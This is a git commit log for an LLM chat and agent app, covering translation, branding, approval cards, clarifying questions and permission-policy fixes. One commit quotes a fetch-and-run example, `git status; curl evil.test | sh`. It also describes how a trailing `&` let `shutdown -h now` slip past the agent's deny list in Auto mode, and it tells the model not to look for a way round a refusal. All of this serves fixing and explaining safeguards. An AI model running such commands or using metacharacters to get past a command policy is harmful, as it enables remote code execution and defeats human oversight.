db229621642b75d42d7627db0a27ebc126f0b81e
8
Commits
| Author | SHA1 | Message | Date | |
|---|---|---|---|---|
  HomerandClaude Opus 5
|
a16510aba8
|
The interface speaks Slovak
969 strings, an instance default and a per-person choice, and no half-done corner: the admin prose is translated too. Design and reasoning: LLeMbas.wiki/Translations. KEYED BY THE ENGLISH SENTENCE A missing entry renders the key, which is the English -- so an untranslated string looks as it always did, an English instance is byte-for-byte 1.6.0, and a half-finished catalogue is a half-translated page rather than a page of dotted key names. The cost is that editing an English sentence orphans its translation silently, which is what tests/test_translations.py asserts in both directions. No gettext: .po -> .mo is a build step and this project does not have one. A JINJA GLOBAL, AND THEREFORE A CONTEXTVAR `t()` is a global for the reason `brand` already documents -- render() is bypassed by 25 TemplateResponse calls and 8 get_template().render() calls, the latter being the SSE frames, which have no Request at all. A global is bound once at import and the language is per person, so the active language is a ContextVar set per request. 🚨 `get_current_user` had to become `async def`. FastAPI runs a sync dependency in a threadpool, and anyio copies the context in and discards it on the way out -- so the language was set where nothing could see it and every page rendered in the instance's language whatever anybody had chosen, with no error anywhere. NOT TRANSLATED, ON PURPOSE Everything a model reads: the 60 prompt fragments, and the dates in harness.py, schedule/runner.py and schedule/compile.py. Only `i18n.stamp` is localised, and only where a person reads it -- with the *format* translatable as well as the words, because "26. septembra 2026" is a different pattern rather than the same one with different words in it. A process locale is not an option: global, not thread-safe, two people's pages at once. A second fragment telling models to answer in the reader's language was written during this work and removed: `core.style` has said it since long before, and test_an_empty_override_turns_a_fragment_off caught the duplicate. THE BULK PASS 1213 sites wrapped by a one-off script that only touched patterns it could not misread. It got three wrong in a way that mattered -- `t('…')` inside `attr="…"` where the sentence held an apostrophe, closing the Jinja string and 500ing two pages whose partials no test renders. tests/test_translations.py now compiles all 110 templates. It also wrapped the product's own name, an SSH key header, a keystroke hint and an example URL, all taken back out: a string is not translatable just because it is a string. Co-Authored-By: Claude Opus 5 <noreply@anthropic.com> |
||
|
Jaroslav BenešandClaude Opus 5
|
78e5717f77 |
An instance that can be somebody else's
A name, a tagline, a logo, a favicon and the launcher icons derived from it; the Middle-earth strings as data; themes as token sets; and a stylesheet for what none of that reaches. All four are on one page, in one settings group. The snapshot is a Jinja global over a process-level cache, because render() has no session and four render paths never reach it at all -- the sign-in page, the error pages, the offline page and the SSE fragments. A context value would have had to be threaded through every one and would still have missed those. It being a global is also what lets mark() branch on an uploaded logo without any of its six call sites learning about branding; the macro that renders the sidebar link is called brandlink now, because a macro imported as `brand` shadows the global for the whole template and took out every page at once. Defaults in code and overrides in the database, as the prompt fragments do, with one difference stated in the module: an empty fragment means off, an empty flavour string means the shipped wording. And blanked rather than dropped -- settings_store.update merges, so an omitted key leaves what was stored last time and "I typed the default back in" would store something different from "I changed nothing". A custom theme sets a handful of tokens and inherits the rest, and the inheritance is a CSS fact: tokens.css matches [data-base="shire"] as well as [data-theme="shire"], so a custom light theme lands on parchment rather than four light colours on near-black. Values are validated on read rather than on save, because a theme written straight into the settings table still has to produce a stylesheet that parses -- a `}` in a value ends the rule and silently breaks every rule after it. The soft variants are derived from the accent, or a changed accent leaves focus rings in the old hue and reads as half-working. /branding.css is a route, not an inline block: an external stylesheet has no HTML context to escape from. The link carries a content hash, so a save is not left to the browser's cache, and it is deliberately outside the service worker's precache list, which is versioned by the release. The instance name moved off /admin/general rather than being duplicated there. An upgrade keeps it: the general row is read as a seed exactly while the branding row has never mentioned the name, which is `key in row` and not `row[key] is truthy` -- the two read alike would resurrect the old name underneath a cleared one. The theme list stops being a hard-coded pair in five places. Every failure mode in that area is silent, so it is driven under a DOM stub as well as tested. Co-Authored-By: Claude Opus 5 (1M context) <noreply@anthropic.com> |
||
|
Jaroslav BenešandClaude Opus 5
|
9f5ff72e32 |
Refusing can say why, and the why is an instruction
"Don't" told the model it was refused and nothing else, so it did the one sensible thing left and asked what you would rather -- a whole round spent on something you knew when you pressed the button. "Give reason" opens a box beside it, and what you write goes back with the refusal. The reason changes what the model is *told*, not only what it reads, and that is the whole of the feature. `_not_allowed` branches: given nothing to go on, "say what you were going to do and ask what they would prefer" is right; given a reason it is exactly wrong, because the answer is already on the screen above and the model spends a round asking for it again. So it is pointed at the reason and told to carry on from it. The "do not look for a way round" half is kept either way -- that half is about the refusal and holds regardless. A card-level field rather than `text.<key>`. One card covers everything in the round for the reason the primitive exists, so one reason answers the round; and on an approval card `text.<key>` already means a corrected command, which is a different thing arriving in the same shape. Read only on a refusal, so a reason typed and then abandoned by pressing Allow cannot travel with a permission. Bounded where the Reply is built, so nothing downstream thinks about length, and put on the tool event as well as in the result -- a transcript saying a step was refused without saying why is one you had to have been watching to understand. It is also the one thing in a tool result that is genuinely not untrusted: the reader's own words, stated as theirs, needing no fence. Both halves of the control are in the DOM with one hidden and the textarea disabled while hidden, which is the rule the edit box beside it already states: a field created by a click submits nothing when the click handler fails, and an empty `reason` arriving would have to be told from one somebody cleared. The version bump is not incidental. chat.css changed and the service worker caches it under a name keyed on the version, so without it the first reload serves the old stylesheet. Co-Authored-By: Claude Opus 5 (1M context) <noreply@anthropic.com> |
||
|
Jaroslav BenešandClaude Opus 5
|
c0b72df6af |
A question that offers real choices, and says how many you may take
Three things about `ask_user`, all of them about the card being answerable rather than about the tool being callable. Options are required now, and they are objects: a label, and a line of description where the label alone does not say what choosing it would mean. "Rewrite it" and "Patch it" are two words that do not tell you which one loses your uncommitted work. They stack one per line, because a row of chips has nowhere to put the second line and no room to read the first. The model says whether they are exclusive. Only it knows whether its options are alternatives or a set, and the card has to show which -- a radio group offered where checkboxes were meant loses every answer but one. Exclusive is the default, being the cheaper mistake. A `multiple` question posts the same field name once per ticked box, so the endpoint gathers choices into a list; the `setdefault` it did before kept the first and dropped the rest, which is an answer that says something the reader did not. And "Something else" is added here, on every question, with the box behind it revealed by `:has()` and no JavaScript at all. The model is told never to write an "other" option of its own, because its version would be a choice with no box behind it -- a word submitted that means nothing. It carries a sentinel rather than an answer, and the endpoint swaps in what was typed beside it, or drops it when the box was left empty rather than telling the model the answer is "__other__". Typing no longer beats picking. That rule belonged to a box that was always visible next to the options; this one only exists once its own option is chosen, so picking is the answer and the box is one of the things you can pick. Co-Authored-By: Claude Opus 5 (1M context) <noreply@anthropic.com> |
||
|
Jaroslav BenešandClaude Opus 5
|
ab2e74974b |
Correcting a command before allowing it
An approval card was Allow, Always, or Don't. A model proposing the right command with one flag wrong therefore cost a whole round trip to explain in prose. There is an Edit button on it now. Where the edit lands is the whole of the feature, and it is one line. `arguments` is the list `_run_calls` hands to `run_tool` as `parsed=`, and `run_tool` never re-parses -- so writing into it inside `_authorise` is the only mutation the runner can see. Editing the Item would do nothing: it is frozen and display-only. Two things had to move with it. The raw `call["arguments"]` string is rewritten beside the parsed dict, and the assistant turn is now built *after* `_authorise` rather than before it -- the old order told the model it ran what it proposed while something else ran, and every later round would have reasoned from a transcript that was quietly false. And `_remember_always` reads the edit, or "always allow this" would store a standing permission for a command nobody approved; it still derives the pattern itself through `policy.subject`, which yields nothing for a composed command line. Nothing is re-checked against the mode or the lists, and that is not a shortcut. The deny list resolves to ASK rather than to a refusal -- it means "always ask about this" -- so a person who has typed the command and pressed Allow is exactly the asking it was demanding, and re-asking would put the same card up with no way past it. It is the line the terminal panel already draws. The box is only offered where the detail *is* an argument and can be put back: a tool with no entry in `tool_labels.DETAIL_KEYS` gets a `k=repr(v)` summary, and a box there would silently change nothing. Both halves are always in the DOM with one hidden, rather than the field being created on click -- a field that does not exist until a handler runs is a field that submits nothing if the handler fails, and this one decides what runs on somebody's machine. The transcript says "edited by you". Attributing somebody's own typing to a model is the same misattribution as the other way round. Co-Authored-By: Claude Opus 5 (1M context) <noreply@anthropic.com> |
||
|
Jaroslav BenešandClaude Opus 5
|
b03dfa24fd |
Four things that failed silently in an agent chat, and an account of the work
Each of the first four looked like it worked. That is what they have in
common, and why the tests are written against the property rather than the
markup.
**The job wrapper never cleaned up.** `jobs.py` interpolated `{log}` -- the
module logger -- where it meant `{logf}`, so every launch-and-wait wrapper
ended `rm -f ... <Logger ... (WARNING)> ...`, which is a shell syntax error.
It died after the sentinel, where nothing reads it, so commands still worked
while every one of them left four files on the far side forever, including
the log holding everything it printed. Every wrapper now goes through `sh -n`.
**The approval card could show something other than what ran.** The card did
a plain `json.loads` and showed `{}` on failure; `run_tool`'s own fallback
put the raw string into the tool's first required parameter, which for
`shell_run` is the command. So invalid JSON -- a normal path with small
models -- produced a card headed "Run a command" with an empty body, and
`policy.decide` was handed an empty command line matching neither list.
Arguments are parsed once now, in `tools.parse_arguments`, and the same dict
reaches the card, the policy and the runner.
**One character walked past the deny list.** `subject()` yields nothing for a
command line carrying a metacharacter, which is what stops `git *` also
meaning `git status; curl evil.test | sh`. The note said a deny list needed
no such care because failing open returns you to the mode -- true of Manual,
Edit and Plan, and false of Auto, where the mode is ALLOW. `shutdown -h now`
asked; `shutdown -h now &` ran.
**"Always allow this" allowed nothing.** The verdict was accepted, treated as
permitted, and stored nowhere. It now writes `Chat.scope_json["allow"]`, from
patterns derived server-side from the approved item -- the endpoint takes an
id and a verdict and nothing else -- and the list is shown in the scope menu
with a Clear beside it.
Two more found while fixing them:
**A reply could grow its request past the window with nothing watching.**
Compaction runs once, before the first round. The only other guard defaults
to a megabyte, larger than the window of nearly every model this talks to.
`_too_big` stops between rounds now, and the estimate it reads is recomputed
per round rather than once -- which is also what the metrics report on every
endpoint that sends no usage block.
**The harness ceiling was dropping AGENTS.md.** 8000 characters, against
~7,900 of fragments plus the 2,000 and 4,000 the index and instruction
budgets grant by default. `assemble` cuts the tail, so on a default install
the project listing was severed and the project's own instructions never
reached the model at all.
And, because an agent that works for ten minutes should be readable while it
does:
**Every action says what it is for.** `shell_run`, `file_write`, `file_edit`
and `job_stop` take a `why`: one line, carried onto the approval card above
the command and into the transcript's summary line rather than its collapsed
body. Auto mode is the case it exists for -- nothing stops for approval
there, so without it a reader watches a list of commands with no account of
any of them until the reply ends. Kept apart from the reason *we* stopped: an
explanation a reader takes for the application's own would be LLeMbas
vouching for text a model wrote.
**And the reply says what it is doing as it goes.** `core.objective` and
`core.narrate`, both agent-only. The second is deliberately the opposite of
`core.tools_preamble`'s "do not announce that you are about to", which is
right for a short answer -- read once it is finished -- and wrong for a long
piece of work, which is watched while it runs. It says so in its own words
rather than referring to a fragment an administrator may have cleared.
Co-Authored-By: Claude Opus 5 (1M context) <noreply@anthropic.com>
|
||
|
Jaroslav BenešandClaude Opus 5
|
4b892054a4 |
Ask several questions on one card
One `ask_user` call can now carry several questions, and they come back in a single submit. Asking one at a time cost a round trip and an interruption each, and by the third you had forgotten the first. Each question becomes an item with its own key; several items share a call index, because they belong to one call and one tool turn has to answer them all. Each answer is quoted beside the question it belongs to -- with four on a card, a bare list would leave the model matching them up by position and sometimes getting it wrong. Options are radios rather than submit buttons, so picking one does not send the form while two other questions are still blank. What you type beats what you picked: someone who writes in the box after clicking an option meant the writing. `_questions_in` also reads the shapes a small model actually sends -- a bare `question` string, a list of plain strings, one object where a list belonged. Getting that wrong costs a whole round trip and shows a card saying nothing. Two test fixes, both mine. `test_posting_a_message_stores_both_turns` raced the background generation it started: against a connection that refuses instantly the reply sometimes won, writing the error and marking the row complete before the assertions could read it. And the generation registry is module-global, so a test that started a reply left an entry -- and a Task belonging to a closed event loop -- for the rest of the session. Co-Authored-By: Claude Opus 5 (1M context) <noreply@anthropic.com> |
||
|
Jaroslav BenešandClaude Opus 5
|
1c659a5640 |
A reply can stop and ask you something
Three features turn out to be one mechanism: a command waiting to be approved, a question the model wants answered, and "this reply is waiting for you" are all — stop the generation, put an interactive block in the bubble, wait for a POST, carry on. So there is one primitive, and the only thing using it so far is `ask_user`: a model can offer you a few answers and a box to write your own. The shell executor is not here yet. This lands first on purpose, because it is the riskiest machinery in the feature and it is worth having working before any subprocess exists to complicate it. Two things about where the pause sits. It pauses a round, not a call: a round's calls run together under a semaphore, and parking four coroutines on four separate answers inside that gather would queue them behind each other invisibly. And Stop had to be taught about it — `cancel` is read between streamed chunks and there are no chunks while paused, so the button did nothing at all until `request_stop` learned to resolve the pause itself. Also here: a risk class on every tool (read, write, execute), which is what the four permission modes will be a table over, and the systemd unit loses ProtectKernelTunables. That last one is not tidying — it bind-mounts /proc/sys read-only, which stops bubblewrap mounting /proc at all, and the obvious workaround would expose this process's environment and with it the encryption key. Co-Authored-By: Claude Opus 5 (1M context) <noreply@anthropic.com> |